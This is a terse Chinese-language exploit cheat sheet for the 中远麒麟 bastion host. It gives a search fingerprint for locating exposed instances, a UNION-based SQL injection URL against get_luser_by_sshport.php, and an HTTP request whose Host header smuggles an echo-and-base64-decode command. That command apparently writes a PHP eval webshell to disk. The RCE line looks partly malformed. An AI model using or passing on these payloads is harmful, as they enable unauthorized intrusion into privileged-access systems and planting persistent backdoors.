中远麒麟

目录

• 堡垒机
  • sql注入
  • 后台rce

堡垒机

body="/template/admin/images/bottom_bg.jpg"

sql注入

/get_luser_by_sshport.php?clientip=1%27+UNION+ALL+SELECT+database()--+&clientport=1&clientport=1&_ZQA_ID=2eacc7b534850cfe

后台rce

GET /admin.php?controller=admin_config&action=keyedit HTTP/1.1
Host:1.1.1.1. echo PD9waHAgZXZhbCgkX1BPU1RbMV0p0W= | base64 -d > 1. php